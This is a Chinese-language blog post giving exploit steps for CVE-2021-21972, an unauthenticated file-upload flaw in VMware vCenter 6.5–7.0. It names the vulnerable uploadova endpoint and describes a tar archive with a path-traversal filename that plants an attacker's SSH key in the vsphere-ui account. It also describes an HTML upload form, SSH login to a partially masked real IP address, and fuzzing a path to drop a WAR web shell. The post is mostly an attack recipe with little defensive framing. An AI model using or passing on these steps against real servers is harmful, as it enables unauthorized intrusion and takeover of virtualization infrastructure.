CVE-2021-21972 vCenter 6.5-7.0 RCE 漏洞

# CVE-2021-21972 vCenter 6.5-7.0 RCE 漏洞

## 参考
http://noahblog.360.cn/vcenter-6-5-7-0-rce-lou-dong-fen-xi/?continueFlag=f498c1c266566c7838d9ab5bef68118c
https://swarm.ptsecurity.com/unauth-rce-vmware/
## 漏洞细节

漏洞为任意文件上传
存在问题的接口为/ui/vropspluginui/rest/services/uploadova
– 构造exp.html

“`


CVE-2021-21972 vCenter 6.5-7.0 RCE 漏洞上传利用

test:
选择你的exp html:

利用了接口:/ui/vropspluginui/rest/services/uploadova,上传自己的SSH生成的公钥,使用SSH进行登录。



“`
– 构造tar

“`
ssh-keygen -t rsa
cp /Users/root/.ssh/id_rsa.pub authorized_keys

使用7zip 压缩authorized_keys为 authorized_keys.tar,然后编辑压缩包,修改文件authorized_keys名字为:../../home/vsphere-ui/.ssh/authorized_keys
然后保存,关闭7zip
“`
– 上传

使用html上传tar即可,然后使用ssh 221.11.xx.211 进行登录

Linux 下getshell, 需要Fuzz 一下 exp.txt的包,设置/global/42/0/h5ngc.war中的42从 10 – 110即可

事实证明,authorized_keys写成功了,但是密码过期了也不能登录,爆破目录进行写shell是可行的。
“`

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容